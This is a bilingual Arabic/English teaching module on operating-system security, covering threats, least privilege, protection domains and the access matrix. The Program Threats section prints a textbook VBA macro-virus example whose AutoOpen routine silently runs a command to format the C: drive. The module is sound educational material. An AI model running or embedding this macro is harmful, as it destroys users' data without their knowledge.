الأمن والحماية في نظم التشغيل
تغطي هذه الوحدة مفاهيم الأمن والحماية في نظم التشغيل، بما في ذلك التهديدات البرمجية والشبكية، مصفوفة الوصول، ومبادئ الحماية مثل مبدأ الامتياز الأقل.
Operating Systems Security and Protection
This module covers OS security and protection concepts, including program and network threats, the access matrix, and protection principles like the principle of least privilege.
أهداف التعلم
- مناقشة التهديدات الأمنية والهجمات المختلفة على نظم التشغيل.
- شرح أهداف ومبادئ الحماية في أنظمة الكمبيوتر الحديثة.
- توضيح كيفية استخدام نطاقات الحماية مع مصفوفة الوصول لتحديد الموارد التي يمكن للعملية الوصول إليها.
- Discuss security threats and attacks.
- Discuss the goals and principles of protection in a modern computer system.
- Explain how protection domains combined with an access matrix are used to specify the resources a process may access.
1 انتهاكات الأمن وطرق الهجوم
1 Security Violations and Attack Methods
الأمن هو حماية النظام من الانتهاكات، والهجوم هو محاولة اختراق هذا الأمن سواء بشكل عرضي أو متعمد.
Security is protecting the system from violations, and an attack is an attempt to breach this security, whether accidental or malicious.
يصعب تحقيق أمان مطلق للنظام.
تشمل فئات انتهاك الأمن: خرق السرية (قراءة غير مصرح بها)، خرق النزاهة (تعديل غير مصرح به)، خرق التوافر (تدمير البيانات)، وسرقة الخدمات (استخدام غير مصرح به للموارد)، وحجب الخدمة (DOS).
تتضمن طرق الهجوم: التنكر (Masquerading)، هجوم إعادة الإرسال (Replay)، هجوم الوسيط (Man-in-the-middle)، اختطاف الجلسة (Session hijacking)، وتصعيد الصلاحيات (Privilege escalation).
Absolute security is unachievable.
Security violation categories include: Breach of confidentiality (unauthorized reading), Breach of integrity (unauthorized modification), Breach of availability (unauthorized destruction), Theft of service, and Denial of Service (DOS).
Attack methods include Masquerading, Replay attacks, Man-in-the-middle, Session hijacking, and Privilege escalation.
تصعيد الصلاحيات هو هجوم شائع حيث يحصل المستخدم على وصول يتجاوز ما هو مصرح له به.
هجوم الوسيط يعتمد على جلوس المهاجم في مسار تدفق البيانات، متظاهراً بأنه المرسل للمستقبل والعكس، مما يجعله قادراً على اعتراض وتعديل البيانات دون علم الطرفين.
Privilege escalation is a common attack where a user gains access beyond what they are authorized for.
A Man-in-the-middle attack relies on the intruder sitting in the data flow, masquerading as the sender to the receiver and vice versa, allowing them to intercept and modify data seamlessly.
لماذا يعتبر الحماية من سوء الاستخدام العرضي أسهل من الحماية ضد الهجمات المتعمدة؟ Why is it easier to protect against accidental misuse than malicious attacks?
لأن الهجمات المتعمدة يقودها مهاجمون (Crackers) يبحثون بنشاط عن الثغرات ويستخدمون تقنيات معقدة لتجاوز آليات الحماية، بينما الأخطاء العرضية تتبع أنماطاً يمكن التنبؤ بها ومنعها بآليات الحماية القياسية.
Because malicious attacks are driven by intelligent actors (crackers) actively seeking vulnerabilities and using complex techniques to bypass protections, whereas accidental errors follow predictable patterns that standard protection mechanisms can catch.
2 نموذج الأمن رباعي الطبقات
2 Four Layered Model of Security
الأمن قوي بقدر أضعف حلقة فيه، ويجب تطبيقه على أربعة مستويات: المادي، الشبكة، نظام التشغيل، والتطبيق.
Security is only as strong as its weakest link and must occur at four levels: Physical, Network, Operating System, and Application.
لكي يكون الأمن فعالاً، يجب أن يتم على أربعة مستويات:
- المادي (حماية مراكز البيانات والخوادم).
- الشبكة (منع اعتراض الاتصالات وحجب الخدمة).
- نظام التشغيل (آليات الحماية وتصحيح الأخطاء).
- التطبيق (منع التطبيقات الخبيثة أو التي تحتوي على ثغرات).
بالإضافة إلى ذلك، يعتبر العنصر البشري خطراً عبر هجمات التصيد والهندسة الاجتماعية.
For security to be effective, it must occur at four levels:
- Physical (data centers, servers).
- Network (intercepted communications, DOS).
- Operating System (protection mechanisms).
- Application (benign or malicious apps causing problems).
Additionally, humans are a risk via phishing and social-engineering attacks.
كل طبقة لها طرق هجوم ووقاية خاصة.
التطبيقات تواجه حقن الكود (Code Injection) وتُحمى بوضع الحماية (Sandboxing).
نظام التشغيل يواجه ثغرات المنصة ويُحمى بالتحديثات (Patches).
الشبكة تواجه التنصت وتُحمى بالتشفير.
المستوى المادي يواجه الوصول المباشر ويُحمى بالحراس والأقفال.
Each layer has specific attacks and prevention methods.
Applications face code injections (prevented by sandboxing).
OS faces platform vulnerabilities (prevented by patches/hardening).
Networks face sniffing/spoofing (prevented by encryption/authentication).
Physical faces console access (prevented by guards/vaults).
هل يمكن أن يكون الإفراط في الأمن مشكلة؟ Can too much security be a problem?
نعم، الإفراط في الأمن قد يجعل النظام صعب الاستخدام، يقلل من الإنتاجية، ويزيد من التكلفة والعبء الإداري، مما قد يدفع المستخدمين للبحث عن طرق لتجاوز الإجراءات الأمنية.
Yes, excessive security can make the system difficult to use, reduce productivity, and increase administrative overhead, which might encourage users to bypass security measures entirely.
3 التهديدات البرمجية
3 Program Threats
برامج مصممة لاستغلال أو تعطيل الكمبيوتر، مثل الفيروسات، أحصنة طروادة، وبرامج الفدية.
Software designed to exploit, disable, or damage a computer, such as viruses, Trojan horses, and ransomware.
تشمل التهديدات البرمجية: البرمجيات الخبيثة (Malware)، حصان طروادة (Trojan Horse) الذي يعمل بشكل سري، برامج التجسس (Spyware) التي تجمع بيانات المستخدم، وبرامج الفدية (Ransomware) التي تشفر البيانات وتطلب فدية.
تشمل التهديدات الأخرى الأبواب الخلفية (Trap Doors) والقنابل المنطقية (Logic Bombs).
جميعها تحاول انتهاك مبدأ الامتياز الأقل، وغالباً ما تهدف إلى ترك أداة وصول عن بعد (RAT).
Program threats include Malware, Trojan Horses (acting clandestinely), Spyware (capturing user data), and Ransomware (locking data via encryption).
Others include Trap Doors and Logic Bombs.
All try to violate the Principle of Least Privilege, often aiming to leave behind a Remote Access Tool (RAT) for repeated access.
هجوم حقن الكود (Code Injection) يحدث عندما تحتوي برامج النظام على أخطاء (Bugs) تسمح بإضافة كود تنفيذي.
ينتج هذا غالباً عن لغات البرمجة منخفضة المستوى مثل C/C++ التي تسمح بالوصول المباشر للذاكرة عبر المؤشرات، مما يؤدي إلى طفح الذاكرة المؤقتة (Buffer Overflow).
الفيروسات هي أجزاء من الكود تُزرع في برامج شرعية وتنسخ نفسها، وتكون محددة جداً لبنية المعالج ونظام التشغيل.
Code-injection attacks occur when system code has bugs allowing executable code to be added.
This results from insecure programming in low-level languages like C/C++ allowing direct memory access via pointers, leading to Buffer Overflows.
Viruses are code fragments embedded in legitimate programs that self-replicate, and are highly specific to CPU architecture and OS.
Sub AutoOpen()
Dim oFS
Set oFS = CreateObject("Scripting.FileSystemObject")
vs = Shell("c:command.com /k format c:",vbHide)
End Sub
لماذا يعتبر نظام ويندوز الهدف الأكثر شيوعاً للهجمات البرمجية؟ Why is Windows the target for most attacks?
لأنه النظام الأكثر شيوعاً، وغالباً ما يكون كل مستخدم فيه مسؤولاً (Administrator)، بالإضافة إلى مشكلة الثقافة الأحادية (Monoculture) حيث يؤدي انتشار نظام واحد إلى جعل استهدافه أكثر ربحية للمهاجمين.
Because it is the most common OS, historically everyone operated as an administrator, and the 'monoculture' effect makes it highly profitable for attackers to target a single widespread platform.
4 تهديدات النظام والشبكة
4 System and Network Threats
تهديدات تنتقل عبر الشبكات مثل الديدان (Worms)، هجمات حجب الخدمة (DoS)، ومسح المنافذ (Port Scanning).
Threats that propagate over networks such as Worms, Denial of Service (DoS) attacks, and Port Scanning.
الأنظمة المتصلة بالشبكة تواجه تهديدات يصعب اكتشافها.
الديدان (Worms) هي برامج مستقلة تستخدم آليات التكاثر عبر الشبكة (مثل استغلال ثغرات الوصول عن بعد).
هجمات حجب الخدمة (DoS) تهدف إلى إرهاق الكمبيوتر المستهدف لمنعه من أداء عمله، ويمكن أن تكون موزعة (DDoS) من مواقع متعددة.
مسح المنافذ (Port Scanning) هو أداة آلية للبحث عن المنافذ المفتوحة والبروتوكولات للبحث عن ثغرات.
Network-connected systems face harder-to-detect threats.
Worms are standalone programs using spawn mechanisms across networks (e.g., exploiting remote access bugs).
Denial of Service (DoS) overloads the target computer to prevent useful work, often Distributed (DDoS) from multiple sites.
Port scanning is an automated tool to find open ports and protocols to exploit.
تستغل الديدان آليات الثقة (Trust-relationships) للوصول إلى أنظمة صديقة بدون كلمات مرور.
في هجمات DoS، يتم استغلال مصافحة الاتصال (SYN handshake) لإغراق نظام التشغيل باتصالات غير مكتملة.
أدوات مثل nmap و nessus تُستخدم لمسح المنافذ ومطابقتها مع قواعد بيانات الثغرات، وغالباً ما تُطلق من أنظمة 'الزومبي' لتقليل إمكانية التتبع.
Worms exploit trust-relationship mechanisms to access friendly systems without passwords.
In DoS attacks, the IP-connection handshake (SYN) is often exploited to exhaust the OS's connection limits.
Tools like nmap and nessus scan ports and match them against vulnerability databases, frequently launched from zombie systems to decrease traceability.
كيف يمكنك التمييز بين هجوم حجب الخدمة (DoS) وبين كون موقعك يحظى بشعبية كبيرة فجأة؟ How can you tell the difference between being a target of a DoS attack and being really popular?
يمكن التمييز من خلال تحليل نمط الزيارات؛ هجمات DoS غالباً ما تأتي من عناوين IP مشبوهة (أو شبكات Botnet)، وتستهدف موارد محددة بشكل متكرر وغير منطقي (مثل إغراق خادم بطلبات SYN غير المكتملة)، بينما الزيارات الشرعية تتبع أنماط تصفح طبيعية.
By analyzing traffic patterns; DoS attacks often originate from suspicious IPs (botnets) and exhibit unnatural behavior like incomplete SYN handshakes, whereas legitimate traffic follows normal browsing patterns and completes connections.
5 مبادئ الحماية
5 Principles of Protection
المبدأ التوجيهي الأساسي هو 'مبدأ الامتياز الأقل'، حيث يُمنح المستخدم أو البرنامج الصلاحيات الضرورية فقط لأداء مهمته.
The guiding principle is the 'Principle of Least Privilege', giving users or programs only the privileges necessary to perform their tasks.
تتضمن مبادئ الحماية:
- مبدأ الامتياز الأقل (Least Privilege) للحد من الضرر في حال وجود خطأ أو اختراق.
- التقسيم (Compartmentalization) لحماية كل مكون نظام على حدة.
- مسار التدقيق (Audit trail) لتسجيل جميع الأنشطة المتعلقة بالحماية لفهم ما حدث.
- الدفاع في العمق (Defense in depth) حيث لا يوجد مبدأ واحد يكفي بمفرده.
Protection principles include:
- Principle of Least Privilege to limit damage if an entity is compromised.
- Compartmentalization to protect individual system components.
- Audit trail to record protection-oriented activities to understand what happened.
- Defense in depth, as no single principle is a panacea for security vulnerabilities.
يجب مراعاة 'دقة' (Grain) إدارة الصلاحيات.
الإدارة الخشنة (Rough-grained) أسهل ولكنها تمنح صلاحيات كبيرة (مثل عمليات Unix التقليدية التي تملك صلاحيات المستخدم أو الجذر).
الإدارة الدقيقة (Fine-grained) أكثر تعقيداً وتتطلب موارد أكثر ولكنها توفر حماية أفضل (مثل قوائم ACL و RBAC).
The 'grain' aspect of privilege management must be considered.
Rough-grained management is easier but grants large chunks of privileges (e.g., traditional Unix processes running as user or root).
Fine-grained management is more complex and has more overhead but is more protective (e.g., File ACLs, Role-Based Access Control - RBAC).
لماذا تعتبر الإدارة الدقيقة للصلاحيات (Fine-grained) أفضل من الإدارة الخشنة (Rough-grained) رغم تعقيدها؟ Why is fine-grained privilege management better than rough-grained despite its complexity?
لأنها تطبق مبدأ الامتياز الأقل بشكل صارم، مما يقلل بشكل كبير من مساحة الهجوم (Attack Surface) ويمنع العمليات المخترقة من الوصول إلى موارد لا تحتاجها فعلياً.
Because it strictly enforces the principle of least privilege, significantly reducing the attack surface and preventing compromised processes from accessing resources they don't actually need.
6 نطاق الحماية
6 Domain of Protection
نطاق الحماية يحدد الموارد (الكائنات) التي يمكن للعملية الوصول إليها والعمليات المسموح بها عليها.
A protection domain specifies the resources (objects) a process may access and the allowed operations on them.
يُعامل الكمبيوتر كمجموعة من العمليات والكائنات (أجهزة أو برمجيات).
يجب أن تصل العملية فقط إلى الكائنات التي تحتاجها لإكمال مهمتها (مبدأ الحاجة إلى المعرفة).
كل نطاق (Domain) يحدد مجموعة من حقوق الوصول بصيغة: <اسم الكائن، مجموعة الحقوق>.
يمكن أن يكون النطاق مستخدماً، عملية، أو إجراءً.
A computer is treated as processes and objects (hardware or software).
A process should only access objects it currently requires to complete its task (need-to-know principle).
Each domain specifies a set of access rights in the format:
A domain can be a user, a process, or a procedure.
حلقات الحماية (Rings of protection) تفصل الوظائف إلى نطاقات وترتبها هرمياً.
يمكن أن تتشارك النطاقات في حقوق الوصول.
الارتباط بين العملية والنطاق يمكن أن يكون ثابتاً (Static) أو ديناميكياً (Dynamic).
في الحالة الديناميكية، يمكن للعمليات تبديل النطاق (Domain Switch) للحصول على صلاحيات مختلفة عند الحاجة.
Rings of protection separate functions into domains and order them hierarchically.
Domains may share access rights.
Associations can be static or dynamic.
If dynamic, processes can perform a 'domain switch' to gain different privileges when needed.
كيف يختلف النطاق عندما يكون مرتبطاً بـ 'مستخدم' مقابل ارتباطه بـ 'إجراء' (Procedure)؟ How does a domain differ when associated with a 'user' versus a 'procedure'?
إذا كان النطاق مستخدماً، فإن حقوق الوصول تعتمد على هوية المستخدم وتطبق على جميع عملياته. أما إذا كان النطاق إجراءً، فإن حقوق الوصول تقتصر على المتغيرات المحلية المحددة داخل ذلك الإجراء فقط، مما يوفر حماية أدق.
If a domain is a user, access rights depend on user identity and apply to all their processes. If a domain is a procedure, access rights correspond only to local variables defined within that procedure, offering finer-grained protection.
7 مصفوفة الوصول
7 Access Matrix
جدول يمثل الحماية، حيث تمثل الصفوف النطاقات (Domains) والأعمدة تمثل الكائنات (Objects).
A table representing protection, where rows represent domains and columns represent objects.
مصفوفة الوصول هي نموذج حماية يحدد حقوق الوصول.
الخلية Access(i, j) تحتوي على مجموعة العمليات التي يمكن لعملية في النطاق i تنفيذها على الكائن j.
تفصل المصفوفة بين الآلية (Mechanism) التي يوفرها نظام التشغيل، والسياسة (Policy) التي يحددها المستخدم.
تشمل الحقوق الخاصة: المالك (Owner)، النسخ (Copy - يُشار إليه بـ *)، التحكم (Control)، والتحويل (Transfer).
The Access Matrix is a protection model defining access rights.
Cell Access(i, j) contains the operations a process in Domain i can invoke on Object j.
It separates mechanism (provided by OS) from policy (dictated by user).
Special rights include: Owner, Copy (denoted by *), Control (modify domain rights), and Transfer (switch domains).
يمكن أن تكون النطاقات نفسها كائنات في المصفوفة للسماح بعمليات مثل 'تبديل النطاق' (Switch).
حق النسخ (*) يسمح بنسخ حق وصول من كائن لآخر.
حق التحكم يسمح لنطاق بتعديل حقوق نطاق آخر.
رغم قوتها، لا تحل مصفوفة الوصول مشكلة الحبس العامة (Confinement Problem).
Domains themselves can be objects in the matrix to allow operations like 'switch'.
The copy right (*) allows copying an access right from one object to another.
The control right allows a domain to modify another domain's rights.
Despite its power, the access matrix doesn't solve the general confinement problem.
لماذا يعتبر فصل 'الآلية' عن 'السياسة' في مصفوفة الوصول أمراً مهماً؟ Why is separating 'mechanism' from 'policy' in the access matrix important?
لأنه يمنح نظام التشغيل المرونة؛ نظام التشغيل يوفر الآلية (المصفوفة والقواعد) لفرض الحماية، بينما يترك للمستخدمين أو مديري النظام حرية تحديد السياسة (من يصل إلى ماذا) بناءً على احتياجاتهم الخاصة.
It provides flexibility; the OS provides the mechanism (the matrix and rules) to enforce protection, while leaving users or administrators free to define the policy (who accesses what) based on their specific needs.
8 تنفيذ مصفوفة الوصول
8 Implementation of the Access Matrix
تُنفذ المصفوفة عادةً كقوائم تحكم بالوصول (ACL) للكائنات، أو قوائم قدرات (Capability Lists) للنطاقات، لتوفير مساحة الذاكرة.
The matrix is typically implemented as Access Control Lists (ACL) for objects, or Capability Lists for domains, to save memory.
بما أن مصفوفة الوصول غالباً ما تكون متفرقة (Sparse)، فإن تخزينها كجدول عالمي (Global Table) يستهلك ذاكرة كبيرة. البدائل هي:
- قوائم الوصول للكائنات (ACL): كل عمود يُنفذ كقائمة تحدد النطاقات المسموح لها بالوصول.
- قوائم القدرات للنطاقات (Capability List): كل صف يُنفذ كقائمة كائنات مسموح للنطاق بالوصول إليها (تعمل كمفتاح أو مؤشر آمن).
- القفل والمفتاح (Lock-key): حل وسط حيث يمتلك الكائن أقفالاً ويمتلك النطاق مفاتيح.
Since the access matrix is generally sparse, storing it as a Global Table consumes too much memory. Alternatives are:
- Access Control Lists (ACL) for objects: Each column is a list defining domains with access.
- Capability Lists for domains: Each row is a list of objects the domain can access (acts like a secure pointer/key).
- Lock-key: A compromise where objects have locks (bit patterns) and domains have matching keys.
قوائم القدرات (Capability Lists) لا يمكن للنطاق الوصول إليها مباشرة لتعديلها، بل يحافظ عليها نظام التشغيل ويتم الوصول إليها بشكل غير مباشر.
هذا يمنع العمليات من تزوير الصلاحيات.
نظام القفل والمفتاح يجمع بين مزايا الطريقتين، حيث يسهل إلغاء الصلاحيات (بتغيير القفل) مقارنة بقوائم القدرات.
Capability lists are never directly accessible by the domain; they are protected objects maintained by the OS and accessed indirectly to prevent forgery.
The Lock-key system combines benefits, making revocation easier (by changing the lock) compared to pure capability lists.
| Access Control List (ACL) | Capability List | |
|---|---|---|
| التركيز (محور المصفوفة)Focus (Matrix Axis) | تعتمد على الكائن (الأعمدة)Object-based (Columns) | تعتمد على النطاق (الصفوف)Domain-based (Rows) |
| إلغاء الصلاحيات (Revocation)Revocation | سهل (تعديل قائمة الكائن مباشرة)Easy (modify the object's list directly) | صعب (يتطلب البحث في جميع النطاقات)Difficult (requires searching all domains) |
| معرفة صلاحيات عملية معينةDetermining a process's rights | صعب (يتطلب فحص قوائم جميع الكائنات)Difficult (requires checking all objects' lists) | سهل (موجودة في قائمة النطاق الخاصة بها)Easy (contained in its own domain list) |
أيهما أسهل في التنفيذ عند الرغبة في معرفة 'جميع المستخدمين الذين لديهم حق الوصول إلى ملف معين': ACL أم قائمة القدرات؟ Which is easier to query when you want to know 'all users who have access to a specific file': ACL or Capability List?
قائمة التحكم بالوصول (ACL) أسهل بكثير، لأنها تخزن جميع الصلاحيات المتعلقة بكائن (ملف) واحد في مكان واحد (عمود). في قائمة القدرات، ستحتاج إلى البحث في قوائم جميع النطاقات (الصفوف) للعثور على من يملك حق الوصول.
Access Control List (ACL) is much easier, because it stores all permissions for a single object (file) in one place (a column). With a Capability List, you would have to search through every domain's list (all rows) to find who has access.